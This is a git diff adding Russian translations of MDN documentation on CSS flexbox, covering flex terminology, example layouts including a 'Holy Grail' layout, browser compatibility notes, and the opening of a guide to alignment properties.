+<p>Я создал пример такого поведения в следующем живом примере. Вы можете увидеть, как растяжение меняет строку в зависимости от расположения свернутого элемента. Если вы добавите больше контента ко второму элементу, он изменит строку, как только станет достаточно длинным. Эта верхняя строка становится такой же высокой, как одна строка текста.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/wrapping/wrapped-visibility-collapse.html", '100%', 750)}}</p>
+
+<p>Если это вызывает проблемы для вашего макета, возможно Вам стоит задуматься над переделкой структуры, например, поместить каждую строку в отдельный флекс-контейнер, чтобы они не могли смещать строки.</p>
+
+<h3 id="Разница_между_visibility_hidden_и_display_none">Разница между <code>visibility: hidden</code> и <code>display: none</code></h3>
+
+<p>Когда Вы устанавливаете элементу <code>display: none</code> чтобы его спрятать, то этот элемент удаляется из структуры страницы. На практике это означает, что счетчики игнорируют его, а такие вещи, как transitions (переходы), не запускаются. Использование <code>visibility: hidden</code> сохраняет элемент в структуре форматирования, что полезно, поскольку он по-прежнему ведет себя так, как если бы он был частью макета, даже если пользователь не может его увидеть.</p>
diff --git a/files/ru/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html b/files/ru/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html
new file mode 100644
index 0000000000..20d43c2b28
--- /dev/null
+++ b/files/ru/web/css/css_flexible_box_layout/using_css_flexible_boxes/index.html
@@ -0,0 +1,378 @@
+---
+title: Используем CSS Flexible Boxes
+slug: Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
+---
+<div>Эта статья устарела и удалена из английской версии. Вместо неё идёт перенаправление на статью:
+<h1 id="Основные_понятия_Flexbox"><a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Основные понятия Flexbox</a></h1>
+
+
+
+<p>У меня не поднялась рука удалить эту статью окончательно, но я рекомендую Вам вместо неё, всё-таки, прочитать ту.</p>
+</div>
+
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">CSS3 <strong>Flexible Box</strong>, или просто <strong>flexbox</strong> — это режим разметки, созданный для упорядочения элементов на странице таким образом, чтобы они вели себя предсказуемо в случаях, когда разметка страницы адаптирована под различные размеры экрана и устройства.</span> Во многих случаях флексбоксы лучше блочной модели разметки, поскольку не использует обтекания (floats) и не выполняет схлопывание отступлений flex-контейнера и его содержимого (margin collapse).</p>
+
+<p>Для многих дизайнеров модель использования флексбоксов будет более простой для применения. Дочерние элементы внутри флексбокса могут размещаться в любом направлении и могут менять размер, чтобы адаптироваться к различным размерам дисплея. Позиционирование элементов в таком случае является простым и комплексная разметка достигается значительно легче и с более чистым кодом, поскольку порядок отображения элементов не связан с их порядком в коде. Эта независимость умышленно касается только визуального рендеринга, оставляя порядок интерпретации и навигацию зависимыми от порядка в исходниках.</p>
+
+<div class="note"><strong>Внимание:</strong> некоторые браузеры все еще могут частично или полностью не поддерживать флексбоксы. Ознакомьтесь с <a href="/ru/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes#Совместимость_с_браузерами">таблицей совместимости</a>.</div>
+
+<h2 id="Концепция_Flexbox">Концепция Flexbox</h2>
+
+<p>Главной концепцией Flexbox есть возможность изменения высоты и/или ширины его элементов, чтобы лучше заполнять пространство любого дисплея. Flex-контейнер увеличивает элементы, чтобы заполнить доступное пространство или уменьшает чтобы предотвратить перекрытие.</p>
+
+<p>Алгоритм разметки флексбоксами агностичено направлен в противовес блочной разметке, которая ориентирована строго вертикально, или горизонтально-ориентированной инлайн-разметке. Несмотря на то что разметка блоками хорошо подходит для страницы, ей не хватает объективного механизма для поддержки компонентов, которые должны менять ориентацию, размеры а также растягиваться или сжиматься при изменениях размера экрана, изменении ориентации с вертикальной на горизонтальную и так далее. Разметка флексбоксами наиболее желательна для компонентов приложения и шаблонов, которые мало масштабируются, тогда как grid-разметка создана для больших шаблонов. Обе технологии являются частью разработки CSS Working Group которая должна способствовать совместимости web-приложений с различными браузерами, режимами а также большей гибкости.</p>
+
+<h2 id="Терминология">Терминология</h2>
+
+<p>Поскольку описание флексбоксов не включает таких словосочетаний, как горизонтальная / inline и вертикальная / block оси, объяснение модели предусматривает новую терминологию. Используйте следующую диаграмму при просмотре словаря терминов. Она изображает flex-контейнер, имеющий flex-направление ряда, что означает, что каждый flex item расположен горизонтально, друг за другом по главной оси (main axis) в соответствии с установленным направлением написания текста элемента. Слева направо в данном случае.</p>
+
+<p><img alt="flex_terms.png" class="default internal" src="/files/3739/flex_terms.png"></p>
+
+<dl>
+ <dt>Flex-контейнер</dt>
+ <dd>Родительский элемент, в котором содержатся flex-элементы. Flex-контейнер определяется установкой свойства {{Cssxref("display")}} в <code>flex</code> или <code>inline-flex</code>.</dd>
+ <dt>Flex-элемент, flex item</dt>
+ <dd>
+ <p>Каждый дочерний элемент flex-контейнера становится flex-элементом. Текст, который напрямую содержится в flex-контейнере, оборачивается анонимным flex-элементом.</p>
+ </dd>
+ <dt>Оси</dt>
+ <dd>
+ <p>Каждый flexible-бокс шаблон строится по двум осям. Главная ось <strong>(main axis)</strong> — это ось, вдоль которой flex-элементы следуют один за другим, а перекрёстная ось <strong>(cross axis)</strong> перпендикулярна ей.</p>
+
+ <ul>
+  <li>Свойство <code>{{Cssxref("flex-direction")}}</code> устанавливает главную ось.</li>
+  <li>Свойство <code>{{Cssxref("justify-content")}}</code> определяет расположение элементов вдоль главной оси в текущем ряду.</li>
+  <li>Свойство <a href="/ru/docs/Web/CSS/align-items"><code>align-items</code></a> расположение элементов вдоль перекрёстной оси в текущем ряду.</li>
+  <li>Свойство <a href="/ru/docs/Web/CSS/align-self"><code>align-self</code></a> устанавливает, как отдельный flex-элемент выровнен по перекрёстной оси, переопределяя значения, установленные с помощью <code>align-items.</code></li>
+ </ul>
+ </dd>
+ <dt>Направления</dt>
+ <dd>
+ <p>Главное начало и конец (<strong>main</strong>) и перекрёстное начало и конец (<strong>cross start</strong>/<strong>end</strong>) — это стороны контейнера, определяющие начало и окончание потока flex-элемментов. Они следуют по главной и перекрестной осями flex-контейнера в векторе, установленном режимом написания ({{Cssxref("writing-mode")}}) (слева направо, справа налево и т. д.).</p>
+
+ <ul>
+  <li>Свойство {{Cssxref("order")}} присваивает элементы порядковым группам и определяет, в каком порядке их показывать.</li>
+  <li>Свойство {{Cssxref("flex-flow")}} — это короткая форма, состоящая из свойств {{Cssxref("flex-direction")}} и {{Cssxref("flex-wrap")}}, определяющих расплолжение элементов.</li>
+ </ul>
+ </dd>
+ <dt>Линии</dt>
+ <dd>
+ <p>Flex-элементы могут размещаться на одной или нескольких линиях в зависимости от значения свойства {{Cssxref("flex-wrap")}}, которое контролирует направление перекрестных линий и направление в котором складываются новые линии.</p>
+ </dd>
+ <dt>Размеры</dt>
+ <dd>
+ <p>Флекс элементы агностически эквивалентны высоте и ширине <strong>главного размера</strong> и <strong>поперечного размера,</strong> которые равны, соответственно,  главной оси (main axis) и поперечной оси (cross axis) флекс-контейнера.</p>
+
+ <ul>
+  <li>Свойства <code><a href="/ru/docs/Web/CSS/min-height">min-height</a></code> и <code><a href="/ru/docs/Web/CSS/min-width">min-width</a></code> принимают значение по-умолчанию 0.</li>
+  <li>Свойство <a href="/ru/docs/Web/CSS/flex"><code>flex</code></a> - это сокращённая запись свойств <a href="/ru/docs/Web/CSS/flex-grow"><code>flex-grow</code></a>, <code><a href="/ru/docs/Web/CSS/flex-shrink">flex-shrink</a> и</code> <code><a href="/ru/docs/Web/CSS/flex-basis">flex-basis</a>.</code></li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="Делаем_элемент_флексбоксом">Делаем элемент флексбоксом</h2>
+
+<p>Чтобы сделать элемент flexible-боксом, укажите значение {{cssxref("display")}} следующим образом:</p>
+
+<pre class="brush: css">display: flex</pre>
+
+<p>или</p>
+
+<pre class="brush: css">display: inline-flex</pre>
+
+<p>Таким образом мы определяем элемент как флексбокс, а его дочерниие элементы — как flex-элементы. Значение <code>flex</code> делает контейнер блочным элементом, а <code>inline-flex</code> значение превращает его в инлайн-элемент.</p>
+
+<div class="note"><span class="notranslate"><strong>Внимание</strong></span><strong>:</strong> для <span class="notranslate">указания префикса вендора, добавьте строку в значение атрибута, а не к самому атрибуту</span>. <span class="notranslate">Например</span>, <code>display: -webkit-flex</code>.</div>
+
+<h2 id="Рассмотрим_flex-элементы">Рассмотрим flex-элементы</h2>
+
+<p>Текст, который содержится непосредственно внутри flex-контейнера, автоматически оборачивается анонимным flex-элементом. Однако, анонимный flex-элемент, содержащий только пробелы, не отображается (как будто было указано значение <code>display: none</code>).</p>
+
+<p>Абсолютно позиционированные дочерние элементы flex-контейнера позиционируются так, что их статическое положение определяется относительно главного начального угла содержащего их flex-контейнера.</p>
+
+<p>Отступы (margin) соседних flex-контейнеров не схлопываются. Установка значений <code>margin: auto </code>поглощает дополнительное место в вертикальном или горизонтальном направлении и может быть использовано для выравнивания или для разделения соседних flex-элементов. См. <a href="http://dev.w3.org/csswg/css3-flexbox/#auto-margins">Выравнивание при помощи 'автоматических' отступов </a>в разделе "Модель расположения при помощи flex-контейнеров" спецификации W3C.</p>
+
+<p>Свойства выравнивания flexbox выполняют "истинное" центрирование в отличие от других способов центрирования в CSS. Это означает, что flex-элементы будут оставаться отцентрированными даже если они переполняют flex-контейнер. Впрочем, это может иногда быть проблематичным, если они вылезают за верхний или левый край страницы (в языках с написанием слева направо; в языках с написанием справа налево, таких как арабский, возникает проблема с правой границей), так как вы не можете прокрутить страницу в данную область даже если там есть содержимое! В будущем релизе свойства выравнивания будут также дополнены "безопасной" опцией. На данный момент, если это проблема, вы можете использовать отступы (margin) для достижения центрирования, так как они сработают "безопасно" и центрирование будет прекращено при переполнении. Вместо использования свойства <code>align- </code>просто установите автоматические отступы (<code>margin: auto)</code> для flex-элементов, которые вы хотите отцентрировать. Вместо свойств <code>justify-</code> установите <code>margin: auto</code> на внешние края первого и последнего элемента в flex-контейнере. Автоматические отступы будут "подстраиваться" и занимать оставшееся место, центрируя flex-элементы при наличии свободного места и используя стандартное выравнивание при его отсутствии. Тем не менее, если вы пытаетесь заменить <code>justify-content </code>центрированием, основанным на отступах (margin-based) в многострочном flexbox, вам, видимо, не повезло, так как вам необходимо установить отступы для первого и последнего элемента на каждой строке. Если вы не можете предугадать заранее на какой строке окажется каждый элемент, вы не сможете надежно использовать центрирование, основанное на отступах, на основной оси для замены свойства <code>justify-content</code>.</p>
+
+<p>Помните, что, несмотря на то, что порядок отображения элементов не зависит от их положения в исходном коде, эта независимость затрагивает только визуальное отображение, оставляя навигацию и голосовую помощь в исходном порядке. Даже свойство {{cssxref("order")}} не влияет на очередность голосовой помощи и навигации. Таким образом, разработчики должны уделять внимание правильному порядку элементов в исходном коде, чтобы не навредить доступности документа.</p>
+
+<h2 id="Свойства_Flexbox">Свойства Flexbox</h2>
+
+<h3 id="Свойства_не_влияющие_на_Flexbox">Свойства, не влияющие на Flexbox</h3>
+
+<p>Так как flexbox используют другой алгоритм расположения, некоторые свойства не имеют смысла для flex-контейнера:</p>
+
+<ul>
+ <li>свойства <code>column-*</code> <a href="/ru/docs/Web/Guide/CSS/Using_multi-column_layouts">модуля с множественными столбцами</a> не влияет на flex-элементы.</li>
+ <li>{{cssxref("clear")}} не действует на flex-элементах.</li>
+ <li>{{cssxref("float")}} заставляет свойство элемента <code>display</code> считаться как <code>block</code>.</li>
+ <li>{{cssxref("vertical-align")}} не оказывает эффекта на выравнивание flex-элементов.</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="Типичный_пример_flex">Типичный пример flex</h3>
+
+<p>Типичный пример показывает как применять "flex-эффект" к элементам и как соседние элементы ведут себя в состоянии flex.</p>
+
+<pre class="brush: html">​&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;style&gt;
+    .flex {
+        /* basic styling */
+        width: 350px;
+        height: 200px;
+        border: 1px solid #555;
+        font: 14px Arial;
+
+        /* flexbox setup */
+        display: flex;
+        flex-direction: row;
+    }
+
+    .flex &gt; div {
+        flex: 1 1 auto;
+        width: 30px; /* To make the transition work nicely. (Transitions to/from
+                        "width:auto" are buggy in Gecko and Webkit, at least.
+                        See http://bugzil.la/731886 for more info.) */
+        transition: width 0.7s ease-out;
+    }
+
+    /* colors */
+    .flex &gt; div:nth-child(1){ background: #009246; }
+    .flex &gt; div:nth-child(2){ background: #F1F2F1; }
+    .flex &gt; div:nth-child(3){ background: #CE2B37; }
+
+    .flex &gt; div:hover {
+        width: 200px;
+    }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;Flexbox nuovo&lt;/p&gt;
+    &lt;div class="flex"&gt;
+      &lt;div&gt;uno&lt;/div&gt;
+      &lt;div&gt;due&lt;/div&gt;
+      &lt;div&gt;tre&lt;/div&gt;
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h3 id="Пример_расположения_Священный_Грааль">Пример расположения "Священный Грааль"</h3>
+
+<p>Данный пример показывает как flexbox предоставляет возможность динамически изменять расположение для различных разрешений экрана. Следующая схема иллюстрирует преобразование.</p>
+
+<p><img alt="HolyGrailLayout.png" class="default internal" src="/files/3760/HolyGrailLayout.png"></p>
+
+<p>Здесь изображен случай, когда расположение, подходящее для окна браузера должно быть оптимизировано для экрана смартфона. Не только элементы должны уменьшиться в размере, но и порядок, в котором они отображаются, должен измениться. Flexbox сильно упрощает это.</p>
+
+<pre class="brush: html">​&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+  &lt;head&gt;
+    &lt;style&gt;
+    body {
+        font: 24px Helvetica;
+        background: #999999;
+    }
+
+    #main {
+        min-height: 800px;
+        margin: 0px;
+        padding: 0px;
+        display: flex;
+        flex-flow: row;
+    }
+
+    #main &gt; article {
+        margin: 4px;
+        padding: 5px;
+        border: 1px solid #cccc33;
+        border-radius: 7pt;
+        background: #dddd88;
+        flex: 3 1 60%;
+        order: 2;
+    }
+
+    #main &gt; nav {
+        margin: 4px;
+        padding: 5px;
+        border: 1px solid #8888bb;
+        border-radius: 7pt;
+        background: #ccccff;
+        flex: 1 6 20%;
+        order: 1;
+    }
+
+    #main &gt; aside {
+        margin: 4px;
+        padding: 5px;
+        border: 1px solid #8888bb;
+        border-radius: 7pt;
+        background: #ccccff;
+        flex: 1 6 20%;
+        order: 3;
+    }
+
+    header, footer {
+        display: block;
+        margin: 4px;
+        padding: 5px;
+        min-height: 100px;
+        border: 1px solid #eebb55;
+        border-radius: 7pt;
+        background: #ffeebb;
+    }
+
+    /* Too narrow to support three columns */
+    @media all and (max-width: 640px) {
+        #main, #page {
+            flex-direction: column;
+        }
+
+        #main &gt; article, #main &gt; nav, #main &gt; aside {
+        /* Return them to document order */
+            order: 0;
+        }
+
+        #main &gt; nav, #main &gt; aside, header, footer {
+            min-height: 50px;
+            max-height: 50px;
+        }
+    }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;header&gt;header&lt;/header&gt;
+    &lt;div id='main'&gt;
+      &lt;article&gt;article&lt;/article&gt;
+      &lt;nav&gt;nav&lt;/nav&gt;
+      &lt;aside&gt;aside&lt;/aside&gt;
+    &lt;/div&gt;
+    &lt;footer&gt;footer&lt;/footer&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Песочница">Песочница</h2>
+
+<p>Существует несколько песочниц с flexbox, доступных онлайн для экспериментов:</p>
+
+<ul>
+ <li><a href="http://demo.agektmr.com/flexbox/">Flexbox Playground</a></li>
+ <li><a href="http://the-echoplex.net/flexyboxes">Flexy Boxes</a></li>
+ <li><a href="http://codepen.io/justd/pen/yydezN">Flexbox Properties Demonstration</a></li>
+ <li><a href="http://flexboxfroggy.com/">Flexbox Froggy</a></li>
+</ul>
+
+<h2 id="О_чем_нужно_помнить">О чем нужно помнить</h2>
+
+<p>Алгоритм, описывающий как flex-элементы располагаются, иногда может быть довольно запутанным. Вот несколько правильных решений, которые позволят избежать неприятных сюрпризов при верстке с использованием flexbox.</p>
+
+<p>Flexbox располагаются в соответствие с <a href="https://developer.mozilla.org/ru/docs/Web/CSS/writing-mode">направлением письма</a>, что означает, что <strong>главное начало</strong> и <strong>главный конец </strong>располагаются в зависимости от положения <strong>начала </strong>и <strong>конца </strong>(строки - <em>прим.</em>).</p>
+
+<p><strong>Перекрестное начало</strong> и <strong>перекрестный конец </strong>полагаются на определение позиции <strong>начала </strong>и <strong>конца, </strong>которое зависит от значения свойства <code>{{cssxref("direction")}}</code>.</p>
+
+<p>Разрывы страницы допустимы в расположении flex-контейнеров, когда это позволяет свойство <code>break-. Свойства </code>CSS3 <code>break-after</code>, <code>break-before</code> и <code>break-inside</code>, а также свойства CSS 2.1 <code>page-break-before</code>, <code>page-break-after</code> и <code>page-break-inside</code> работают на flex-контейнере, flex-элементах, а также внутри flex-элементов.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support (single-line flexbox)</td>
+   <td>{{CompatGeckoDesktop("18.0")}}<sup>[6]</sup>{{property_prefix("-moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop("22.0")}}</td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>11<sup>[3]</sup></td>
+   <td>12.10{{property_prefix("-webkit")}}<sup>[5]</sup></td>
+   <td>6.1{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Multi-line flexbox</td>
+   <td>{{CompatGeckoDesktop("28.0")}}</td>
+   <td>21.0{{property_prefix("-webkit")}}<br>
+    29.0</td>
+   <td>11<sup>[3]</sup></td>
+   <td>12.10<sup>[5]</sup><br>
+    15 {{property_prefix("-webkit")}}</td>
+   <td>6.1{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support (single-line flexbox)</td>
+   <td>{{CompatGeckoMobile("18.0")}}{{property_prefix("-moz")}}<sup>[2]</sup><br>
+    {{CompatGeckoMobile("22.0")}}</td>
+   <td>
+    <p>1.0{{property_prefix("-moz")}}<sup>[2]</sup><br>
+     1.1</p>
+   </td>
+   <td>2.1{{property_prefix("-webkit")}}<sup>[4]</sup><br>
+    4.4</td>
+   <td>11</td>
+   <td>12.10<sup>[5]</sup><br>
+    15{{property_prefix("-webkit")}}</td>
+   <td>7{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td>Multi-line flexbox</td>
+   <td>{{CompatGeckoMobile("28.0")}}</td>
+   <td>1.3</td>
+   <td>2.1{{property_prefix("-webkit")}}<sup>[4]</sup><br>
+    4.4</td>
+   <td>11</td>
+   <td>12.10<sup>[5]</sup><br>
+    15{{property_prefix("-webkit")}}</td>
+   <td>7{{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Safari до версии 6.0 (iOS.1) поддерживал старую несовместимую черновую версию спецификации. Safari 6.1 (и Safari на iOS 7) был обновлен для поддержки финальной версии.</p>
+
+<p>[2] До Firefox 22, чтобы активировать поддержку flexbox, пользователь должен установить параметр <code>about:config</code> <code>layout.css.flexbox.enabled</code> в значение <code>true</code>. Начиная с Firefox 22 по Firefox 27, параметр установлен в <code>true</code> по умолчанию, и полностью исключен в Firefox 28.</p>
+
+<p>[3] Internet Explorer 10 поддерживает старую несовместимую черновую версию спецификации; Internet Explorer 11 <a href="https://msdn.microsoft.com/ru-ru/library/dn265027(v=vs.85).aspx">был обновлен</a> для поддержки финальной версии.</p>
+
+<p>[4] Android browser до версии 4.3 поддерживал старую несовместимую черновую версию спецификации. Android 4.4 был обновлен для поддержки финальной версии.</p>
+
+<p>[5] Хотя изначальная реализация в Opera 12.10 <code>flexbox</code> была без приставки, она получила приставку {{property_prefix("-webkit")}} в версиях с 15 по 16 Opera и с 15 по 19 Opera Mobile. Приставка была снова убрана в Opera 17 и Opera Mobile 24.</p>
+
+<p>[6] До Firefox 29, <code>установка visibility: collapse</code> для flex-элемента заставляет его обрабатываться как <code>display: none</code> вместо предполагаемого поведения, обрабатывающего его как <code>visibility: hidden</code>. Предложенное решение - использовать <code>visibility:hidden</code> для flex-элементов, которые должны вести себя как при установленном <code>visibility:collapse</code>. Для большей информации, см {{bug(783470)}}.</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="https://github.com/philipwalton/flexbugs">Проект Flexbugs </a>для информации о багах в браузерных реализациях flexbox.</li>
+</ul>
diff --git a/files/ru/web/css/css_flexible_box_layout/выравнивание_элементов_в_flex_контейнере/index.html b/files/ru/web/css/css_flexible_box_layout/выравнивание_элементов_в_flex_контейнере/index.html
new file mode 100644
index 0000000000..9fe0b2932f
--- /dev/null
+++ b/files/ru/web/css/css_flexible_box_layout/выравнивание_элементов_в_flex_контейнере/index.html
@@ -0,0 +1,213 @@
+---
+title: Выравнивание элементов во Flex контейнере
+slug: Web/CSS/CSS_Flexible_Box_Layout/Выравнивание_элементов_в_Flex_контейнере
+translation_of: Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container
+---
+<p>{{CSSRef}}</p>
+
+<p class="summary">Одной из причин быстрого роста популярности flexbox среди веб-разработчиков было то, что впервые были предоставлены адекватные возможности выравнивания. Он предоставил адекватное вертикальное выравнивание, и стало возможным, наконец, легко поместить элемент в центр по вертикали. В этом руководстве детально рассматривается, как выравнивание и распределение работают во Flexbox.</p>
+
+<p>Для центрирования элемента по перекрёстной оси (в данном случае - вертикальной) используется свойство <code>align-items</code>. Для центрирования элемента по главной оси (в данном случае - горизонтально), используется свойство <code>justify-content</code>.</p>
+
+<p><img alt="A containing element with another box centered inside it." src="https://mdn.mozillademos.org/files/15627/align1.png" style="display: block; height: 357px; margin: 0px auto; width: 616px;"></p>
+
+
+
+<p>На примере ниже можно изменить размер контейнера или вложенного элемента, но элемент всегда останется по центру.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/intro.html", '100%', 700)}}</p>
+
+<h2 id="Свойства_управления_выравниванием">Свойства управления выравниванием</h2>
+
+<p>В этом руководстве рассматриваются следующие свойства:</p>
+
+<ul>
+ <li>{{cssxref("justify-content")}} — управляет выравниванием элементов по главной оси.</li>
+ <li>{{cssxref("align-items")}} — управляет выравниванием элементов по перекрёстной оси.</li>
+ <li>{{cssxref("align-self")}} — управляет выравниванием конкретного flex элемента по перекрёстной оси.</li>
+ <li>{{cssxref("align-content")}} — описывается в спецификации как “упаковка flex строк”; управляет промежутками между flex строками по перекрёстной оси.</li>
+</ul>
+
+<p>Также будет рассмотрены авто-отступы для выравнивания элементов во flexbox.</p>
+
+<div class="note">
+<p><strong>Замечание</strong>: Свойства выравнивания во Flexbox помещены в отдельную спецификацию — <a href="https://www.w3.org/TR/css-align-3/">CSS Box Alignment Level 3</a>. Ожидается, что данная спецификация в конце концов заменит свойства, определённые во Flexbox Level One.</p>
+</div>
+
+<h2 id="Перекрёстная_ось">Перекрёстная ось</h2>
+
+<p>Свойства <code>align-items</code> и <code>align-self</code> управляют выравниванием flex элементов по перекрёстной оси: вертикальной для <code>flex-direction</code> установленным в <code>row,</code> и горизонтальной для <code>flex-direction</code> установленным в <code>column</code>.</p>
+
+<p>Рассмотрим выравнивание по перекрёстной оси на простейшем примере. Если установить <code>display: flex</code> у контейнера, все дочерние элементы становятся flex элементами, выстроенными в ряд. Все они по вертикали примут размер самого высокого элемента, который станет определяющим вертикального размера. Если у flex контейнера задана высота, то все элементы растянутся до высоты контейнера, независимо от размера содержимого.</p>
+
+<p><img alt="Three items, one with additional text causing it to be taller than the others." src="https://mdn.mozillademos.org/files/15628/align2.png" style="display: block; height: 131px; margin: 0px auto; width: 509px;"></p>
+
+<p><img alt="Three items stretched to 200 pixels tall" src="https://mdn.mozillademos.org/files/15629/align3.png" style="display: block; height: 207px; margin: 0px auto; width: 637px;"></p>
+
+<p>Все элементы становятся одной высоты, т.к. по умолчанию свойство <code>align-items</code> имеет значение <code>stretch</code>.</p>
+
+<p>Другие возможные значения свойства:</p>
+
+<ul>
+ <li><code>align-items: flex-start</code></li>
+ <li><code>align-items: flex-end</code></li>
+ <li><code>align-items: center</code></li>
+ <li><code>align-items: stretch</code></li>
+ <li><code>align-items: baseline</code></li>
+</ul>
+
+<p>В примере ниже значение свойств <code>align-items</code> установлено в <code>stretch</code>. Попробуйте другие значения для понимания их действия.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-items.html", '100%', 520)}} </p>
+
+<h3 id="Выравнивание_одного_элемента_при_помощи_align-self">Выравнивание одного элемента при помощи <code>align-self</code></h3>
+
+<p>Свойство <code>align-items </code>устанавливает <code>align-self</code> для всех flex элементов как для группы. Это означает, что можно явно указать значение <code>align-self</code> для конкретного элемента. Свойство <code>align-self</code> может принимать все те же значения, что и свойство <code>align-items, </code>а так же значение <code>auto</code>, которое сбросит значение, установленное в flex контейнере.</p>
+
+<p>В следующем примере, у flex контейнера установлено <code>align-items: flex-start</code>, означающее, что все элементы будут выравнены по началу перекрёстной оси. У первого элемента с помощью <code>first-child</code> селектора установлено <code>align-items: stretch</code>; у следующего элемента с классом <code>selected</code> установлено <code>align-self: </code><code>center</code>. Можно изменять значение <code>align-items</code> на контейнере или <code>align-self</code> на элементе для изучения их работы.8н</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self.html", '100%', 650)}} </p>
+
+<h3 id="Изменение_основной_оси">Изменение основной оси</h3>
+
+<p>До сего момента мы изучали поведение при <code>flex-direction</code> установленном в <code>row</code>, в языке, использующем написание сверху вниз. Это означает, что основная ось идёт горизонтально, а выравнивание по перекрёстной оси сдвигает элементы вверх или вниз.</p>
+
+<p><img alt="Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the vertical axis." src="https://mdn.mozillademos.org/files/15630/align4.png" style="display: block; height: 204px; margin: 0px auto; width: 671px;"></p>
+
+<p>Если изменить <code>flex-direction</code> на column, <code>align-items</code> и <code>align-self</code> будут сдвигать элементы влево или вправо.</p>
+
+<p><img alt="Three items, the first aligned to flex-start, second to center, third to flex-end. Aligning on the horizontal axis." src="https://mdn.mozillademos.org/files/15631/align5.png" style="display: block; height: 239px; margin: 0px auto; width: 687px;"></p>
+
+<p>Можно попробовать пример ниже, где установлено <code>flex-direction: column</code>.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-self-column.html", '100%', 730)}} </p>
+
+<h2 id="Выравнивание_содержимого_по_перекрёстной_оси_—_свойство_align-content">Выравнивание содержимого по перекрёстной оси — свойство align-content</h2>
+
+<p>До сих пор мы выравнивали элементы внутри flex-контейнера. Если содержимое вашего flex контейнера переносится на несколько строк, используйте свойство <code>align-content</code> для управления свободным пространством между строками. В спецификации это описано как <a href="https://drafts.csswg.org/css-flexbox/#align-content-property">упаковка flex-строк</a>.</p>
+
+<p>Чтобы свойство <code>align-content</code> работало, необходимо, чтобы в flex-контейнере было больше места, что требуется для отображения всего содержимого. Оно применяется ко всем элементам как группе, и управляет распределением свободного места и положением всей группы элементов внутри контейнера.</p>
+
+<p>Свойство <code>align-content</code> принимает следующие значения:</p>
+
+<ul>
+ <li><code>align-content: flex-start</code></li>
+ <li><code>align-content: flex-end</code></li>
+ <li><code>align-content: center</code></li>
+ <li><code>align-content: space-between</code></li>
+ <li><code>align-content: space-around</code></li>
+ <li><code>align-content: stretch</code></li>
+ <li><code>align-content: space-evenly</code> (не описано в спецификации Flexbox)</li>
+</ul>
+
+<p>В примере ниже flex контейнер имеет высоту 400 пикселей - больше, чем необходимо для отображения всех элементов. Значение <code>align-content</code> установлено в <code>space-between</code>, означающее, что свободное пространство разделено <em>между</em> строками, расположенными вплотную к началу и концу контейнера по перекрёстной оси.</p>
+
+<p>Попробуйте другие значения <code>align-content</code> для понимания принципа их работы.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content.html", '100%', 850)}} </p>
+
+<p>Также можно сменить значение <code>flex-direction</code> на <code>column</code> и увидеть, как наше свойство работает в режиме колонок. Как и ранее, что увидеть работу свойства, у контейнера должно быть больше свободного места, чем требуется содержимому.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flexbox/alignment/align-content-column.html", '100%', 860)}} </p>
+
+<div class="note">
+<p><strong>Замечание</strong>: значение <code>space-evenly</code> не определено в спецификации flexbox и добавлено позже в спецификацию Box Alignment. Поддержка браузерами этого значение не так широка, как значений определённым в спецификации flexbox.</p>
+</div>
+
+<p>В <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/justify-content">документации по <code>justify-content</code> на MDN</a> приведено больше деталей о всех значениях и поддержке браузерами.</p>
+
+<h2 id="Выравнивание_содержимого_по_главной_оси">Выравнивание содержимого по главной оси</h2>
+
